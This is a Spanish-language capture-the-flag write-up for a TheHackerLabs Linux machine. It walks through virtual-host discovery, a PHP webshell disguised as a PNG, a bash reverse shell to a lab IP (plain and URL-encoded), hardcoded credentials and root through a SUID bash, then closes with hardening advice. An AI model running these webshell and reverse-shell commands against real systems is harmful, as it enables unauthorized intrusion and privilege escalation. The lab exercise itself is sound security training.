> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/operacionpescador.md).

# Operacion Pescador

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux mediante enumeracion web, subida de un archivo PHP camuflado como imagen y abuso de un binario SUID.

El objetivo es descubrir el virtual host correcto, acceder al panel web, conseguir ejecucion remota de comandos como `www-data` y escalar privilegios hasta `root`.

***

## Informacion de la maquina

Al iniciar la maquina se muestra la informacion basica del laboratorio:

![Informacion de la maquina](/files/exzA9ExCQrJEuQq4vCI8)

Datos relevantes:

| Campo   | Valor              |
| ------- | ------------------ |
| Nombre  | Operacion Pescador |
| Creador | Oscar              |
| IP      | 192.168.1.103      |

***

## Escaneo y enumeracion

Se realiza un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sS -Pn -n -p- -T4 --min-rate 5000 192.168.1.103
```

![Nmap](/files/OxxbY3OPmYtXd6tDXx6u)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.65  |

El servicio HTTP indica como hostname:

```
mail.innovasolutions.thl
```

Al acceder directamente al dominio todavia no resuelve:

![Dominio sin resolver](/files/NrimxA1upafwl4Dk4YWw)

Se anade al archivo `/etc/hosts`:

```
192.168.1.103 mail.innovasolutions.thl
```

![Hosts](/files/iIEQuclM3Re3K8nlYXQx)

Una vez resuelto, aparece un panel de webmail llamado `InnovaSolutions Webmail`.

![Webmail](/files/MdwhZatd15GmurFi275V)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://mail.innovasolutions.thl/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60
```

![Gobuster](/files/FLXcCjj7PgNrxKhT7Tn1)

Recursos interesantes encontrados:

| Recurso                | Codigo | Comentario               |
| ---------------------- | ------ | ------------------------ |
| `/login.php`           | 200    | Login del webmail        |
| `/uploads/`            | 301    | Directorio con listing   |
| `/upload.php`          | 302    | Subida de archivos       |
| `/logout.php`          | 302    | Cierre de sesion         |
| `/forgot_password.php` | 200    | Recuperacion de password |
| `/dashboard.php`       | 302    | Panel interno            |
| `/server-status`       | 403    | Acceso prohibido         |

***

## Subida expuesta

Al revisar `/uploads/` se observa un directory listing:

![Uploads](/files/L0cEWC8D2LTnvRObG4m8)

Aparece un archivo llamado:

```
foto.png.php
```

El nombre indica que se ha subido un archivo PHP camuflado como imagen PNG. Al probar el parametro `cmd`, se confirma ejecucion de comandos:

```
http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=id
```

![RCE id](/files/Kqn7woHuvfgRLkRaX7ls)

El comando se ejecuta como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Tambien se puede leer `/etc/passwd`:

```
http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=cat /etc/passwd
```

![passwd](/files/r5bzoxuBJ8j0uKA5LPb7)

***

## Reverse shell

Se prepara una reverse shell en Bash:

```bash
bash -c 'bash -i >& /dev/tcp/192.168.1.99/4444 0>&1'
```

Para enviarla por URL se codifica:

![URL encode](/files/9HZ85SbQtSywYHmDcwAj)

Payload codificado:

```
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.99%2F4444%200%3E%261%27
```

Se ejecuta desde el webshell:

```
http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.99%2F4444%200%3E%261%27
```

Con Netcat escuchando se recibe la conexion:

```bash
nc -lvnp 4444
```

![Reverse shell](/files/LviyYM1ZtEqRPAdpFm5M)

Se obtiene una shell como `www-data`.

***

## Enumeracion local

Se mejora ligeramente la shell:

```bash
export TERM=xterm
export SHELL=bash
stty rows 54 columns 235
```

![Shell upgrade](/files/7lJiDeYiNa0faToL3T2U)

Al revisar el codigo de `login.php`, se encuentran credenciales hardcodeadas:

```bash
cat login.php
```

![login.php](/files/l7puSRl4heChI9wKTOOn)

Credenciales del panel:

```
Usuario: laptop
Password: juliana
```

Aunque estas credenciales sirven para el panel, la escalada local se encuentra revisando binarios SUID:

```bash
find / -perm -4000 2>/dev/null
```

![SUID](/files/5Ja8YiYsA0Iz0e5NxePE)

Entre los binarios aparece:

```
/usr/bin/bash
```

Que `bash` tenga SUID es critico, ya que puede ejecutarse conservando privilegios efectivos.

***

## Escalada de privilegios

Se ejecuta Bash con el parametro `-p` para conservar privilegios:

```bash
/usr/bin/bash -p
```

![Root](/files/WqfgZVluZwxVTIHhUiT5)

Se confirma la escalada:

```bash
id
```

Resultado:

```
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
```

Aunque el UID real sigue siendo `www-data`, el EUID es `root`, por lo que la shell tiene privilegios efectivos de administrador.

Finalmente se comprueba acceso a directorios privilegiados:

![Root flag](/files/8ua6nGIbN56sINdmYFOH)

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Virtual host expuesto y deducible desde Nmap
* Directorio `/uploads/` con directory listing
* Archivo PHP subido y ejecutable dentro de uploads
* Webshell accesible publicamente
* Credenciales hardcodeadas en `login.php`
* Binario `/usr/bin/bash` con bit SUID activo

### Puntos clave

| Fase            | Tecnica                 | Resultado                  |
| --------------- | ----------------------- | -------------------------- |
| Reconocimiento  | Nmap                    | SSH y HTTP expuestos       |
| Enumeracion web | Virtual host            | `mail.innovasolutions.thl` |
| Enumeracion web | Gobuster                | `/uploads/` y `upload.php` |
| Explotacion     | Webshell PHP            | Ejecucion como `www-data`  |
| Acceso inicial  | Reverse shell           | Shell como `www-data`      |
| Credenciales    | Lectura de `login.php`  | `laptop:juliana`           |
| Escalada        | SUID en `/usr/bin/bash` | Shell con EUID `root`      |

### Recomendaciones

* Deshabilitar directory listing en directorios web
* Validar extensiones y contenido real de archivos subidos
* Impedir ejecucion de PHP en directorios de subida
* Eliminar webshells y archivos de prueba del servidor
* No almacenar credenciales hardcodeadas en codigo fuente
* Revisar periodicamente binarios SUID y retirar permisos innecesarios


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/operacionpescador.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
